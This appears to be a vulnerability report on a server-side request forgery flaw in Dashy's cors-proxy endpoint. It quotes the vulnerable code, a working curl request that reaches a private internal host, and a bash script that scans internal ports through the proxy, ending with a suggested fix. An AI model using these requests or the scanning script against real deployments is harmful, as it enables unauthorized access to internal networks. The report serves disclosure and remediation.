Github Repository: Dashy
Latest commit related: 661b1aab07ef2fac831e4e76f7c35cb95c6e6671
vulnerable code:
// Get desired URL, from Target-URL header
const targetURL = req.header('Target-URL');
if (!targetURL) {
res.status(500).send({ error: 'There is no Target-Endpoint header in the request' });
return;
}
// Apply any custom headers, if needed
const headers = req.header('CustomHeaders') ? JSON.parse(req.header('CustomHeaders')) : {};
// Prepare the request
const requestConfig = {
method: req.method,
url: targetURL,
json: req.body,
headers,
};
The Target-URL variable is handle by the user through http request and is not sanitized.
The User is able to pass a local url to this variable.
This could result in an unauthorized access to LAN webservices.
Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.
In a typical SSRF attack, the attacker might cause the server to make a connection to internal-only services within the organization's infrastructure. In other cases, they may be able to force the server to connect to arbitrary external systems, potentially leaking sensitive data such as authorization credentials. (portswigger.net)
In this case, we are attacking a machine wich is hosting multiple containers, let's say we already know the intern IP of the machine.
Victime machines containers:
sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
a323e8b93d46 nginx:latest "/docker-entrypoint.…" 15 minutes ago Up 15 minutes 0.0.0.0:80->80/tcp, :::80->80/tcp, 0.0.0.0:443->443/tcp, :::443->443/tcp webserver
6c989d8149e0 lissy93/dashy "/sbin/tini -- yarn …" 3 days ago Up 3 days (healthy) 0.0.0.0:4000->80/tcp, :::4000->80/tcp Dashy
In another scenario Dashy app could be hosted directly on the machine and we could use directly 127.0.0.1 as target..
Let's say we want to reach 10.42.111.111 port 80 web app.
curl 10.42.111.111
curl: (7) Couldn't connect to server
This is normal, 10.42.111.111 is a private IP, we cannot reach it.
We can reach this IP thanks to the SSRF though.
curl 'https://VICTIM-WEBSITE/cors-proxy' -i \
-H 'Accept: application/json, text/plain, */*' \
-H 'Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7' \
-H 'Connection: keep-alive' \
-H 'CustomHeaders: null' \
-H 'If-None-Match: W/"73f-WLBI53E3nii2rA0HfX/v5/AtVCc"' \
-H 'Referer: https://VICTIM-WEBSITE/' \
-H 'Sec-Fetch-Dest: empty' \
-H 'Sec-Fetch-Mode: cors' \
-H 'Sec-Fetch-Site: same-origin' \
-H 'Target-URL: http://10.42.111.111' \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36' \
-H 'sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"' \
-H 'sec-ch-ua-mobile: ?0' \
-H 'sec-ch-ua-platform: "macOS"' \
--compressed
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 13 Sep 2022 10:58:02 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, PUT, PATCH, POST, DELETE
ETag: W/"26-LcRXoq3UlNVIYm4UcHVbSvO70D4"
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Encoding: gzip
<html>
Super Secret website
</html>
An attacker could use this vulnerability to enumerate open ports on a machine only accessible with a LAN access.
example:
#! /usr/bin/env bash
HOST="https://VICTIM_WEBSITE"
LAN_TARGET="10.42.111.111"
PORTS_RANGE=$(seq 1 1024)
for port in $PORTS_RANGE
do
curl "$HOST/cors-proxy" \
-H 'Accept: application/json, text/plain, */*' \
-H 'Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7' \
-H 'Connection: keep-alive' \
-H 'CustomHeaders: null' \
-H 'If-None-Match: W/"73f-WLBI53E3nii2rA0HfX/v5/AtVCc"' \
-H "Referer: $HOST/" \
-H 'Sec-Fetch-Dest: empty' \
-H 'Sec-Fetch-Mode: cors' \
-H 'Sec-Fetch-Site: same-origin' \
-H "Target-URL: http://$LAN_TARGET:$port" \
-H 'User-Agent: curl' \
-H 'sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"' \
-H 'sec-ch-ua-mobile: ?0' \
-H 'sec-ch-ua-platform: "macOS"' \
--compressed 2> /dev/null | grep -v 'ECONNREFUSED' | sed "s/.*/Open port: $port on $LAN_TARGET/" | sort -u
done
output:
bf_ports.sh
Open port: 22 on 10.42.111.111
Open port: 80 on 10.42.111.111
An attacker could also try to brute force other internals IPs trying to reach private web services.
IP sanitization is needed for the Target-URL parameter.
// Make the request, and respond with result \
axios.request(requestConfig) \
.then((response) => { \
//res.status(200).send(response.data); commenting the reponses to avoid SSRF \
}).catch((error) => { \
res.status(500).send({ error });\
});\